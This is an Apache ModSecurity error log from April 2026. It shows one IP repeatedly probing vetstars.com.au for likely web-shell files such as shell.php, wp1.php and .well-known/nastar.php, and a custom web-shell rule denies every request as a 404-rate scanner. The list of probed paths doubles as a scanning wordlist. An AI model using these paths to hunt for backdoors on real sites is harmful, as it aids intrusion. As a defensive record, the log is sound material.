[Sun Apr 19 19:09:14.375844 2026] [:error] [pid 15764:tid 15837] [client 68.221.129.115:56216] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeS32mLL_sqdSHoVp-TeoAAAAks"]
[Sun Apr 19 19:09:15.284500 2026] [:error] [pid 15764:tid 15831] [client 68.221.129.115:43753] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeS322LL_sqdSHoVp-TepgAAAkU"]
[Sun Apr 19 19:09:16.805427 2026] [:error] [pid 15760:tid 15768] [client 68.221.129.115:3305] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeS33PSdD_XHQMJ_ISvlHgAAAcA"]
[Sun Apr 19 19:09:17.415688 2026] [:error] [pid 15694:tid 15748] [client 68.221.129.115:47203] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeS33bimB-jol1fwqAr-2wAAAZY"]
[Sun Apr 19 19:09:18.513631 2026] [:error] [pid 15694:tid 15738] [client 68.221.129.115:55624] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeS33rimB-jol1fwqAr-3QAAAYw"]
[Sun Apr 19 19:09:20.149976 2026] [:error] [pid 15763:tid 15820] [client 68.221.129.115:46708] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeS34LMXv1Y1THOoxaDUfgAAAhg"]
[Sun Apr 19 19:09:21.115476 2026] [:error] [pid 47775:tid 47850] [client 68.221.129.115:46680] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeS34bmztjlk9tsmoez_AgAAAIc"]
[Sun Apr 19 19:09:22.946302 2026] [:error] [pid 15760:tid 15769] [client 68.221.129.115:60259] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeS34vSdD_XHQMJ_ISvlJwAAAcE"]
[Sun Apr 19 19:09:24.741766 2026] [:error] [pid 15760:tid 15771] [client 68.221.129.115:3500] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeS35PSdD_XHQMJ_ISvlLgAAAcM"]
[Sun Apr 19 19:09:28.276914 2026] [:error] [pid 15764:tid 15835] [client 68.221.129.115:51240] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeS36GLL_sqdSHoVp-TetwAAAkk"]
[Sun Apr 19 19:09:29.782446 2026] [:error] [pid 15760:tid 15789] [client 68.221.129.115:53007] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeS36fSdD_XHQMJ_ISvlUwAAAdU"]
[Sun Apr 19 19:09:30.651222 2026] [:error] [pid 15765:tid 15869] [client 68.221.129.115:34987] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeS36vRqinw-W5EwQ77p5wAAApA"]
[Sun Apr 19 19:09:32.122117 2026] [:error] [pid 15760:tid 15790] [client 68.221.129.115:44891] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeS37PSdD_XHQMJ_ISvlYgAAAdY"]
[Sun Apr 19 19:09:32.980381 2026] [:error] [pid 47886:tid 47902] [client 68.221.129.115:3532] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeS37ESe8yiyuPrD7yNj_gAAAM4"]
[Sun Apr 19 19:09:35.061429 2026] [:error] [pid 47773:tid 47836] [client 68.221.129.115:51901] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeS37-iBHdnCJDuPq9AmwAAAAFQ"]
[Sun Apr 19 19:09:36.142100 2026] [:error] [pid 47886:tid 47905] [client 68.221.129.115:3527] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeS38ESe8yiyuPrD7yNkAwAAANE"]
[Sun Apr 19 19:09:36.992862 2026] [:error] [pid 15764:tid 15843] [client 68.221.129.115:48960] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeS38GLL_sqdSHoVp-Te6AAAAlE"]
[Sun Apr 19 19:09:37.814569 2026] [:error] [pid 47772:tid 47807] [client 68.221.129.115:48505] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeS38Yc0L16cb4smAz-RYQAAABI"]
[Sun Apr 19 19:09:38.447541 2026] [:error] [pid 15694:tid 15735] [client 68.221.129.115:39509] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeS38rimB-jol1fwqAr-4AAAAYk"]
[Sun Apr 19 19:09:39.396310 2026] [:error] [pid 47773:tid 47835] [client 68.221.129.115:47879] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeS38-iBHdnCJDuPq9AmxgAAAFM"]
[Sun Apr 19 19:09:40.379292 2026] [:error] [pid 15763:tid 15804] [client 68.221.129.115:49021] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeS39LMXv1Y1THOoxaDUpwAAAgg"]
[Sun Apr 19 19:09:41.781050 2026] [:error] [pid 47886:tid 47892] [client 68.221.129.115:3602] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeS39USe8yiyuPrD7yNkDwAAAMQ"]
[Sun Apr 19 19:09:42.675469 2026] [:error] [pid 47886:tid 47896] [client 68.221.129.115:39506] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeS39kSe8yiyuPrD7yNkEQAAAMg"]
[Sun Apr 19 19:09:43.586666 2026] [:error] [pid 15694:tid 15743] [client 68.221.129.115:39502] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeS397imB-jol1fwqAr-4wAAAZE"]
[Sun Apr 19 19:09:44.335947 2026] [:error] [pid 15760:tid 15769] [client 68.221.129.115:43688] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeS3-PSdD_XHQMJ_ISvlbwAAAcE"]
[Sun Apr 19 19:09:46.540125 2026] [:error] [pid 15760:tid 15772] [client 68.221.129.115:33835] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeS3-vSdD_XHQMJ_ISvlcgAAAcQ"]
[Sun Apr 19 19:09:47.821523 2026] [:error] [pid 47773:tid 47819] [client 68.221.129.115:47882] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeS3--iBHdnCJDuPq9Am0wAAAEM"]
[Sun Apr 19 19:09:50.293525 2026] [:error] [pid 47886:tid 47905] [client 68.221.129.115:63468] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeS3_kSe8yiyuPrD7yNkLgAAANE"]
[Sun Apr 19 19:09:51.029773 2026] [:error] [pid 15764:tid 15827] [client 68.221.129.115:31336] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeS3_2LL_sqdSHoVp-Te-wAAAkE"]
[Sun Apr 19 19:09:51.741493 2026] [:error] [pid 15693:tid 15706] [client 68.221.129.115:60906] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeS3_8NMD-ccazQlTslNZwAAAUo"]
[Sun Apr 19 19:09:52.411332 2026] [:error] [pid 47775:tid 47864] [client 68.221.129.115:47934] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeS4ALmztjlk9tsmoez_MwAAAJU"]
[Sun Apr 19 19:09:53.186023 2026] [:error] [pid 47886:tid 47895] [client 68.221.129.115:47880] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeS4AUSe8yiyuPrD7yNkMgAAAMc"]
[Sun Apr 19 19:10:37.682318 2026] [:error] [pid 47773:tid 47818] [client 68.221.129.115:47909] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeS4LeiBHdnCJDuPq9AnBAAAAEI"]
[Sun Apr 19 19:10:39.188250 2026] [:error] [pid 15764:tid 15850] [client 68.221.129.115:31320] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeS4L2LL_sqdSHoVp-TfXAAAAlc"]
[Sun Apr 19 19:10:46.053964 2026] [:error] [pid 15764:tid 15834] [client 68.221.129.115:31343] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeS4NmLL_sqdSHoVp-TfdgAAAkg"]
[Sun Apr 19 19:10:47.484036 2026] [:error] [pid 15765:tid 15871] [client 68.221.129.115:51784] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeS4N_Rqinw-W5EwQ77qKQAAApI"]
[Sun Apr 19 19:10:48.822176 2026] [:error] [pid 47773:tid 47834] [client 68.221.129.115:63461] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeS4OOiBHdnCJDuPq9AnBwAAAFI"]
[Sun Apr 19 19:10:50.696747 2026] [:error] [pid 15760:tid 15781] [client 68.221.129.115:56779] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeS4OvSdD_XHQMJ_ISvl4gAAAc0"]
[Sun Apr 19 19:10:52.195659 2026] [:error] [pid 15693:tid 15717] [client 68.221.129.115:31296] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeS4PMNMD-ccazQlTslNlgAAAVU"]
[Sun Apr 19 19:10:53.470528 2026] [:error] [pid 15764:tid 15829] [client 68.221.129.115:51800] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeS4PWLL_sqdSHoVp-TfnAAAAkM"]
[Sun Apr 19 19:10:54.190687 2026] [:error] [pid 47886:tid 47910] [client 68.221.129.115:60916] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeS4PkSe8yiyuPrD7yNkQwAAANY"]
[Sun Apr 19 19:10:55.389470 2026] [:error] [pid 15765:tid 15872] [client 68.221.129.115:56791] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeS4P_Rqinw-W5EwQ77qRwAAApM"]
[Sun Apr 19 19:10:56.501811 2026] [:error] [pid 47886:tid 47909] [client 68.221.129.115:43699] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeS4QESe8yiyuPrD7yNkRwAAANU"]
[Sun Apr 19 19:10:57.686181 2026] [:error] [pid 15693:tid 15714] [client 68.221.129.115:51780] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeS4QcNMD-ccazQlTslNmwAAAVI"]
[Sun Apr 19 19:10:58.786643 2026] [:error] [pid 15763:tid 15807] [client 68.221.129.115:56826] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeS4QrMXv1Y1THOoxaDU5gAAAgs"]
[Sun Apr 19 19:10:59.601638 2026] [:error] [pid 15764:tid 15829] [client 68.221.129.115:63441] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeS4Q2LL_sqdSHoVp-TfpgAAAkM"]
[Sun Apr 19 19:11:00.353561 2026] [:error] [pid 15764:tid 15838] [client 68.221.129.115:39494] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeS4RGLL_sqdSHoVp-TfqAAAAkw"]
[Sun Apr 19 19:11:02.012067 2026] [:error] [pid 15694:tid 15743] [client 68.221.129.115:51783] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeS4RrimB-jol1fwqAr_MAAAAZE"]
[Sun Apr 19 19:11:03.016645 2026] [:error] [pid 15765:tid 15860] [client 68.221.129.115:63464] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeS4R_Rqinw-W5EwQ77qSgAAAoc"]
[Sun Apr 19 19:11:04.225279 2026] [:error] [pid 47886:tid 47890] [client 68.221.129.115:63450] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeS4SESe8yiyuPrD7yNkTwAAAMI"]
[Sun Apr 19 19:11:06.323583 2026] [:error] [pid 15763:tid 15817] [client 68.221.129.115:33822] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeS4SrMXv1Y1THOoxaDU7wAAAhU"]
[Sun Apr 19 19:11:07.147450 2026] [:error] [pid 15765:tid 15856] [client 68.221.129.115:56775] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeS4S_Rqinw-W5EwQ77qTgAAAoM"]
[Sun Apr 19 19:11:07.972171 2026] [:error] [pid 15764:tid 15850] [client 68.221.129.115:47122] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeS4S2LL_sqdSHoVp-TfugAAAlc"]
[Sun Apr 19 19:11:09.050981 2026] [:error] [pid 47773:tid 47823] [client 68.221.129.115:63454] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeS4TeiBHdnCJDuPq9AnCwAAAEc"]
[Sun Apr 19 19:11:09.951250 2026] [:error] [pid 15694:tid 15725] [client 68.221.129.115:51827] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeS4TbimB-jol1fwqAr_OQAAAYI"]
[Sun Apr 19 19:11:11.626959 2026] [:error] [pid 15764:tid 15840] [client 68.221.129.115:31307] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeS4T2LL_sqdSHoVp-TfxwAAAk4"]
